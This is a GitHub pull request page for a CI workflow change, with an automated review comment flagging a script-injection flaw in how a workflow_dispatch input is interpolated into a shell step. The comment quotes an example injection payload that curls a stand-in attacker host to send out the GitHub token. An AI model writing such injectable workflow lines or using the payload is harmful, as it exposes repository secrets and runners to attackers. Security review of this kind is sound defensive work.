ci(fix-security-vulnerability): Run fetch alert first before executing skill#19418
ci(fix-security-vulnerability): Run fetch alert first before executing skill#19418nicohrubec wants to merge 1 commit intodevelopfrom
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| - name: Extract alert number | ||
| id: alert | ||
| run: | | ||
| INPUT="${{ github.event.inputs.alert }}" |
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Script injection via unsanitized workflow dispatch input
High Severity
The github.event.inputs.alert value is directly interpolated into a shell run: block via INPUT="${{ github.event.inputs.alert }}". This is a classic GitHub Actions script injection — a user who can trigger workflow_dispatch could supply a crafted input (e.g., containing "; curl attacker.com/exfil?t=$(cat $GITHUB_TOKEN) #) to execute arbitrary commands within the runner context, which has contents: write, pull-requests: write, and access to secrets.ANTHROPIC_API_KEY. The safe pattern (used in other workflows like build.yml) is to pass the input through an env: block instead.
Triggered by project rule: PR Review Guidelines for Cursor Bot
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Closes #issue_link_here
Closes #19419 (added automatically)